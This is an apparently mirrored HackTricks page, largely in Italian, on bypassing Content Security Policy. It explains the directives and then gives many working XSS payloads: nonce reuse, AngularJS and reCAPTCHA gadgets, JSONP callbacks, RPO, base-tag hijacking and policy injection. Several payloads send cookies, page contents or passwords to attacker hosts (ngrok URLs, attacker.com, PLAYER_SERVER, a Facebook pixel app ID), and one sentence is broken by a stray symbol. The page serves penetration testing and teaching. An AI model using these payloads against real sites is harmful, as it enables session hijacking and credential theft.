mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
738 lines
42 KiB
Markdown
738 lines
42 KiB
Markdown
# Content Security Policy (CSP) Bypass
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## What is CSP
|
||
|
||
La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
|
||
|
||
L'implementazione della CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
|
||
|
||
- Implemented via response header:
|
||
```
|
||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||
```
|
||
- Implementato tramite meta tag:
|
||
```xml
|
||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||
```
|
||
### Headers
|
||
|
||
CSP può essere applicato o monitorato utilizzando questi header:
|
||
|
||
- `Content-Security-Policy`: Applica il CSP; il browser blocca eventuali violazioni.
|
||
- `Content-Security-Policy-Report-Only`: Utilizzato per il monitoraggio; riporta le violazioni senza bloccarle. Ideale per testare in ambienti pre-produzione.
|
||
|
||
### Defining Resources
|
||
|
||
CSP limita le origini per il caricamento sia di contenuti attivi che passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di `eval()`. Un esempio di policy è:
|
||
```bash
|
||
default-src 'none';
|
||
img-src 'self';
|
||
script-src 'self' https://code.jquery.com;
|
||
style-src 'self';
|
||
report-uri /cspreport
|
||
font-src 'self' https://addons.cdn.mozilla.net;
|
||
frame-src 'self' https://ic.paypal.com https://paypal.com;
|
||
media-src https://videos.cdn.mozilla.net;
|
||
object-src 'none';
|
||
```
|
||
### Direttive
|
||
|
||
- **script-src**: Consente fonti specifiche per JavaScript, inclusi URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.
|
||
- **default-src**: Imposta una politica predefinita per il recupero delle risorse quando mancano direttive di recupero specifiche.
|
||
- **child-src**: Specifica le risorse consentite per i worker web e i contenuti dei frame incorporati.
|
||
- **connect-src**: Limita gli URL che possono essere caricati utilizzando interfacce come fetch, WebSocket, XMLHttpRequest.
|
||
- **frame-src**: Limita gli URL per i frame.
|
||
- **frame-ancestors**: Specifica quali fonti possono incorporare la pagina corrente, applicabile a elementi come `<frame>`, `<iframe>`, `<object>`, `<embed>`, e `<applet>`.
|
||
- **img-src**: Definisce le fonti consentite per le immagini.
|
||
- **font-src**: Specifica fonti valide per i font caricati utilizzando `@font-face`.
|
||
- **manifest-src**: Definisce le fonti consentite per i file di manifest dell'applicazione.
|
||
- **media-src**: Definisce le fonti consentite per il caricamento di oggetti multimediali.
|
||
- **object-src**: Definisce le fonti consentite per gli elementi `<object>`, `<embed>`, e `<applet>`.
|
||
- **base-uri**: Specifica gli URL consentiti per il caricamento utilizzando elementi `<base>`.
|
||
- **form-action**: Elenca gli endpoint validi per le sottomissioni di moduli.
|
||
- **plugin-types**: Limita i tipi MIME che una pagina può invocare.
|
||
- **upgrade-insecure-requests**: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
|
||
- **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
|
||
- **report-to**: Specifica un gruppo a cui verrà inviato un rapporto se la politica viene violata.
|
||
- **worker-src**: Specifica fonti valide per script Worker, SharedWorker o ServiceWorker.
|
||
- **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o pre-recuperate.
|
||
- **navigate-to**: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, modulo, window.location, window.open, ecc.)
|
||
|
||
### Fonti
|
||
|
||
- `*`: Consente tutti gli URL tranne quelli con schemi `data:`, `blob:`, `filesystem:`.
|
||
- `'self'`: Consente il caricamento dallo stesso dominio.
|
||
- `'data'`: Consente il caricamento delle risorse tramite lo schema dati (ad es., immagini codificate in Base64).
|
||
- `'none'`: Blocca il caricamento da qualsiasi fonte.
|
||
- `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, non raccomandato per motivi di sicurezza.
|
||
- `'unsafe-hashes'`: Abilita gestori di eventi inline specifici.
|
||
- `'unsafe-inline'`: Consente l'uso di risorse inline come `<script>` o `<style>` inline, non raccomandato per motivi di sicurezza.
|
||
- `'nonce'`: Una whitelist per script inline specifici utilizzando un nonce crittografico (numero usato una sola volta).
|
||
- Se hai un'esecuzione JS limitata, è possibile ottenere un nonce utilizzato all'interno della pagina con `doc.defaultView.top.document.querySelector("[nonce]")` e poi riutilizzarlo per caricare uno script malevolo (se strict-dynamic è utilizzato, qualsiasi fonte consentita può caricare nuove fonti quindi questo non è necessario), come in:
|
||
|
||
<details>
|
||
|
||
<summary>Carica script riutilizzando nonce</summary>
|
||
```html
|
||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||
<img
|
||
src="x"
|
||
ng-on-error='
|
||
doc=$event.target.ownerDocument;
|
||
a=doc.defaultView.top.document.querySelector("[nonce]");
|
||
b=doc.createElement("script");
|
||
b.src="//example.com/evil.js";
|
||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||
```
|
||
</details>
|
||
|
||
- `'sha256-<hash>'`: Aggiunge alla whitelist gli script con un hash sha256 specifico.
|
||
- `'strict-dynamic'`: Consente il caricamento di script da qualsiasi fonte se è stato aggiunto alla whitelist tramite un nonce o un hash.
|
||
- `'host'`: Specifica un host specifico, come `example.com`.
|
||
- `https:`: Limita gli URL a quelli che utilizzano HTTPS.
|
||
- `blob:`: Consente il caricamento di risorse da URL Blob (ad es., URL Blob creati tramite JavaScript).
|
||
- `filesystem:`: Consente il caricamento di risorse dal filesystem.
|
||
- `'report-sample'`: Include un campione del codice violante nel rapporto di violazione (utile per il debug).
|
||
- `'strict-origin'`: Simile a 'self' ma garantisce che il livello di sicurezza del protocollo delle fonti corrisponda al documento (solo origini sicure possono caricare risorse da origini sicure).
|
||
- `'strict-origin-when-cross-origin'`: Invia URL completi quando si effettuano richieste della stessa origine, ma invia solo l'origine quando la richiesta è cross-origin.
|
||
- `'unsafe-allow-redirects'`: Consente il caricamento di risorse che reindirizzeranno immediatamente a un'altra risorsa. Non raccomandato poiché indebolisce la sicurezza.
|
||
|
||
## Regole CSP Non Sicure
|
||
|
||
### 'unsafe-inline'
|
||
```yaml
|
||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||
```
|
||
Payload funzionante: `"/><script>alert(1);</script>`
|
||
|
||
#### self + 'unsafe-inline' tramite Iframes
|
||
|
||
{{#ref}}
|
||
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||
{{#endref}}
|
||
|
||
### 'unsafe-eval'
|
||
|
||
> [!CAUTION]
|
||
> Questo non funziona, per maggiori informazioni [**controlla questo**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||
```yaml
|
||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||
```
|
||
Payload funzionante:
|
||
```html
|
||
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
|
||
```
|
||
### strict-dynamic
|
||
|
||
Se riesci in qualche modo a far sì che un **codice JS consentito crei un nuovo tag script** nel DOM con il tuo codice JS, poiché è uno script consentito a crearlo, il **nuovo tag script sarà autorizzato ad essere eseguito**.
|
||
|
||
### Wildcard (\*)
|
||
```yaml
|
||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||
```
|
||
Payload funzionante:
|
||
```html
|
||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||
```
|
||
### Mancanza di object-src e default-src
|
||
|
||
> [!CAUTION] > **Sembra che questo non funzioni più**
|
||
```yaml
|
||
Content-Security-Policy: script-src 'self' ;
|
||
```
|
||
Payload funzionanti:
|
||
```html
|
||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||
<param name="AllowScriptAccess" value="always"></object>
|
||
```
|
||
### Caricamento file + 'self'
|
||
```yaml
|
||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||
```
|
||
Se puoi caricare un file JS, puoi bypassare questo CSP:
|
||
|
||
Payload funzionante:
|
||
```html
|
||
"/>'><script src="/uploads/picture.png.js"></script>
|
||
```
|
||
Tuttavia, è altamente probabile che il server **stia convalidando il file caricato** e permetterà solo di **caricare determinati tipi di file**.
|
||
|
||
Inoltre, anche se potessi caricare un **codice JS all'interno** di un file utilizzando un'estensione accettata dal server (come: _script.png_), questo non sarà sufficiente perché alcuni server come il server Apache **selezionano il tipo MIME del file in base all'estensione** e browser come Chrome **rifiuteranno di eseguire codice Javascript** all'interno di qualcosa che dovrebbe essere un'immagine. "Speriamo", ci sono errori. Ad esempio, da un CTF ho appreso che **Apache non conosce** l'estensione _**.wave**_, quindi non la serve con un **tipo MIME come audio/\***.
|
||
|
||
Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estensione mal interpretata**, potresti provare a caricare un file con quell'estensione e il contenuto dello script. Oppure, se il server sta controllando il formato corretto del file caricato, crea un polyglot ([alcuni esempi di polyglot qui](https://github.com/Polydet/polyglot-database)).
|
||
|
||
### Form-action
|
||
|
||
Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo rapporto**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.
|
||
|
||
### Endpoint di terze parti + ('unsafe-eval')
|
||
|
||
> [!WARNING]
|
||
> Per alcuni dei seguenti payload **`unsafe-eval` non è nemmeno necessario**.
|
||
```yaml
|
||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||
```
|
||
Carica una versione vulnerabile di angular ed esegui JS arbitrario:
|
||
```xml
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||
|
||
|
||
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
|
||
|
||
|
||
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
|
||
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
|
||
|
||
|
||
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
|
||
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
|
||
<iframe/ng-app/ng-csp/srcdoc="
|
||
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
|
||
</script>
|
||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||
>
|
||
```
|
||
#### Payloads utilizzando Angular + una libreria con funzioni che restituiscono l'oggetto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||
|
||
> [!NOTE]
|
||
> Il post mostra che puoi **caricare** tutte le **librerie** da `cdn.cloudflare.com` (o da qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte da ciascuna libreria e controllare **quali funzioni di quali librerie restituiscono l'oggetto `window`**.
|
||
```html
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||
<div ng-app ng-csp>
|
||
{{$on.curry.call().alert(1)}}
|
||
{{[].empty.call().alert([].empty.call().document.domain)}}
|
||
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
|
||
</div>
|
||
|
||
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
|
||
<div ng-app ng-csp>
|
||
{{$on.curry.call().alert('xss')}}
|
||
</div>
|
||
|
||
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
|
||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
|
||
<div ng-app ng-csp>
|
||
{{[].erase.call().alert('xss')}}
|
||
</div>
|
||
```
|
||
Angular XSS da un nome di classe:
|
||
```html
|
||
<div ng-app>
|
||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||
</div>
|
||
```
|
||
#### Abusare del codice JS di google recaptcha
|
||
|
||
Secondo [**questo writeup CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), puoi abusare di [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) all'interno di un CSP per eseguire codice JS arbitrario bypassando il CSP:
|
||
```html
|
||
<div
|
||
ng-controller="CarouselController as c"
|
||
ng-init="c.init()"
|
||
>
|
||
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
|
||
<div carousel><div slides></div></div>
|
||
|
||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||
```
|
||
Più [**payloads da questo writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||
```html
|
||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||
|
||
<!-- Trigger alert -->
|
||
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
|
||
|
||
<!-- Reuse nonce -->
|
||
<img
|
||
src="x"
|
||
ng-on-error='
|
||
doc=$event.target.ownerDocument;
|
||
a=doc.defaultView.top.document.querySelector("[nonce]");
|
||
b=doc.createElement("script");
|
||
b.src="//example.com/evil.js";
|
||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||
```
|
||
#### Abusare di www.google.com per redirect aperti
|
||
|
||
Il seguente URL reindirizza a example.com (da [qui](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||
```
|
||
https://www.google.com/amp/s/example.com/
|
||
```
|
||
Abusare di \*.google.com/script.google.com
|
||
|
||
È possibile abusare di Google Apps Script per ricevere informazioni in una pagina all'interno di script.google.com. Come è [fatto in questo rapporto](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||
|
||
### Endpoint di terze parti + JSONP
|
||
```http
|
||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||
```
|
||
Scenari come questo in cui `script-src` è impostato su `self` e un dominio particolare che è nella whitelist possono essere aggirati utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
|
||
```html
|
||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||
```
|
||
|
||
```html
|
||
https://www.youtube.com/oembed?callback=alert;
|
||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||
```
|
||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare CSP di diversi siti web.**
|
||
|
||
La stessa vulnerabilità si verificherà se l'**endpoint fidato contiene un Open Redirect** perché se l'endpoint iniziale è fidato, i redirect sono fidati.
|
||
|
||
### Abusi di Terze Parti
|
||
|
||
Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nel CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:
|
||
|
||
| Entità | Dominio Consentito | Capacità |
|
||
| ----------------- | -------------------------------------------- | ------------ |
|
||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||
|
||
Se trovi uno dei domini consentiti nel CSP del tuo obiettivo, è probabile che tu possa bypassare il CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.
|
||
|
||
Ad esempio, se trovi il seguente CSP:
|
||
```
|
||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||
```
|
||
o
|
||
```
|
||
Content-Security-Policy: connect-src www.facebook.com;
|
||
```
|
||
Dovresti essere in grado di esfiltrare dati, similmente a come è sempre stato fatto con [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In questo caso, segui questi passaggi generali:
|
||
|
||
1. Crea un account sviluppatore Facebook qui.
|
||
2. Crea una nuova app "Facebook Login" e seleziona "Sito web".
|
||
3. Vai su "Impostazioni -> Base" e ottieni il tuo "App ID".
|
||
4. Nel sito target da cui vuoi esfiltrare dati, puoi esfiltrare dati utilizzando direttamente il gadget SDK di Facebook "fbq" attraverso un "customEvent" e il payload dei dati.
|
||
5. Vai al tuo "Event Manager" dell'app e seleziona l'applicazione che hai creato (nota che il gestore eventi potrebbe trovarsi in un URL simile a questo: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||
6. Seleziona la scheda "Test Events" per vedere gli eventi inviati dal "tuo" sito web.
|
||
|
||
Poi, dal lato della vittima, esegui il seguente codice per inizializzare il pixel di tracciamento di Facebook per puntare all'app-id dell'account sviluppatore dell'attaccante e emettere un evento personalizzato come questo:
|
||
```JavaScript
|
||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||
fbq('trackCustom', 'My-Custom-Event',{
|
||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||
});
|
||
```
|
||
Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, ci sono molti altri modi in cui puoi abusarne. Fai riferimento al precedente [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) per ulteriori spiegazioni su altri abusi di terze parti.
|
||
|
||
### Bypass tramite RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||
|
||
Oltre alla redirezione sopra menzionata per bypassare le restrizioni sui percorsi, c'è un'altra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
|
||
|
||
Ad esempio, se il CSP consente il percorso `https://example.com/scripts/react/`, può essere bypassato come segue:
|
||
```html
|
||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||
```
|
||
Il browser caricherà infine `https://example.com/scripts/angular/angular.js`.
|
||
|
||
Questo funziona perché per il browser stai caricando un file chiamato `..%2fangular%2fangular.js` situato sotto `https://example.com/scripts/react/`, che è conforme al CSP.
|
||
|
||
∑, lo decodificheranno, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
|
||
|
||
Sfruttando **questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere eluse**.
|
||
|
||
La soluzione è non trattare `%2f` come `/` sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.
|
||
|
||
Esempio online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||
|
||
### Esecuzione JS negli Iframe
|
||
|
||
{{#ref}}
|
||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
||
{{#endref}}
|
||
|
||
### mancante **base-uri**
|
||
|
||
Se la direttiva **base-uri** è mancante, puoi abusarne per eseguire un [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||
|
||
Inoltre, se la **pagina sta caricando uno script utilizzando un percorso relativo** (come `<script src="/js/app.js">`) utilizzando un **Nonce**, puoi abusare del **tag** **base** per farlo **caricare** lo script dal **tuo server, ottenendo un XSS.**\
|
||
Se la pagina vulnerabile è caricata con **httpS**, utilizza un URL httpS nella base.
|
||
```html
|
||
<base href="https://www.attacker.com/" />
|
||
```
|
||
### AngularJS eventi
|
||
|
||
Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dal sandbox.
|
||
|
||
Dirigendo questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrato di seguito illustra questo processo:
|
||
```xml
|
||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||
```
|
||
Questo frammento evidenzia l'uso della direttiva `ng-focus` per attivare l'evento, utilizzando `$event.path|orderBy` per manipolare l'array `path`, e sfruttando l'oggetto `window` per eseguire la funzione `alert()`, rivelando così `document.cookie`.
|
||
|
||
**Trova altri bypass di Angular in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||
|
||
### AngularJS e dominio autorizzato
|
||
```
|
||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||
```
|
||
Una politica CSP che autorizza domini per il caricamento di script in un'applicazione Angular JS può essere elusa attraverso l'invocazione di funzioni di callback e alcune classi vulnerabili. Ulteriori informazioni su questa tecnica possono essere trovate in una guida dettagliata disponibile in questo [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||
|
||
Payload funzionanti:
|
||
```html
|
||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||
|
||
<!-- no longer working -->
|
||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||
```
|
||
Altri endpoint di esecuzione arbitraria JSONP possono essere trovati [**qui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alcuni di essi sono stati rimossi o corretti)
|
||
|
||
### Bypass tramite Redirezione
|
||
|
||
Cosa succede quando CSP incontra una redirezione lato server? Se la redirezione porta a un'origine diversa che non è consentita, fallirà comunque.
|
||
|
||
Tuttavia, secondo la descrizione in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se la redirezione porta a un percorso diverso, può eludere le restrizioni originali.
|
||
|
||
Ecco un esempio:
|
||
```html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
<meta
|
||
http-equiv="Content-Security-Policy"
|
||
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||
</head>
|
||
<body>
|
||
<div id="userContent">
|
||
<script src="https://https://www.google.com/test"></script>
|
||
<script src="https://https://www.google.com/a/test"></script>
|
||
<script src="http://localhost:5555/301"></script>
|
||
</div>
|
||
</body>
|
||
</html>
|
||
```
|
||
Se CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati da CSP.
|
||
|
||
Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, eludendo così la restrizione del percorso.
|
||
|
||
Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque eluso.
|
||
|
||
Pertanto, la soluzione migliore è garantire che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possano essere sfruttati nelle regole CSP.
|
||
|
||
### Eludere CSP con markup pendente
|
||
|
||
Leggi [come qui](../dangling-markup-html-scriptless-injection/index.html).
|
||
|
||
### 'unsafe-inline'; img-src \*; tramite XSS
|
||
```
|
||
default-src 'self' 'unsafe-inline'; img-src *;
|
||
```
|
||
`'unsafe-inline'` significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che puoi utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.
|
||
|
||
Puoi bypassare questo CSP esfiltrando i dati tramite immagini (in questa occasione l'XSS sfrutta un CSRF dove una pagina accessibile dal bot contiene un SQLi, e estrae il flag tramite un'immagine):
|
||
```javascript
|
||
<script>
|
||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||
Image().src='http://PLAYER_SERVER/?'+_)
|
||
</script>
|
||
```
|
||
Da: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||
|
||
Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare dell' "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l' **immagine**, **estrarrà** il **JS** da essa e **lo eseguirà**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||
|
||
### Con i Service Workers
|
||
|
||
La funzione **`importScripts`** dei service workers non è limitata dal CSP:
|
||
|
||
{{#ref}}
|
||
../xss-cross-site-scripting/abusing-service-workers.md
|
||
{{#endref}}
|
||
|
||
### Iniezione di Policy
|
||
|
||
**Ricerca:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||
|
||
#### Chrome
|
||
|
||
Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **policy,** allora potresti **alterare** la **policy** in qualche modo che la renda **inutile**. Potresti **consentire script 'unsafe-inline'** con uno di questi bypass:
|
||
```bash
|
||
script-src-elem *; script-src-attr *
|
||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||
```
|
||
Perché questa direttiva **sovrascriverà le direttive script-src esistenti**.\
|
||
Puoi trovare un esempio qui: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||
|
||
#### Edge
|
||
|
||
In Edge è molto più semplice. Se puoi aggiungere nel CSP solo questo: **`;_`** **Edge** **scarterà** l'intera **politica**.\
|
||
Esempio: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||
|
||
### img-src \*; via XSS (iframe) - Attacco temporale
|
||
|
||
Nota l'assenza della direttiva `'unsafe-inline'`\
|
||
Questa volta puoi far **caricare** una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||
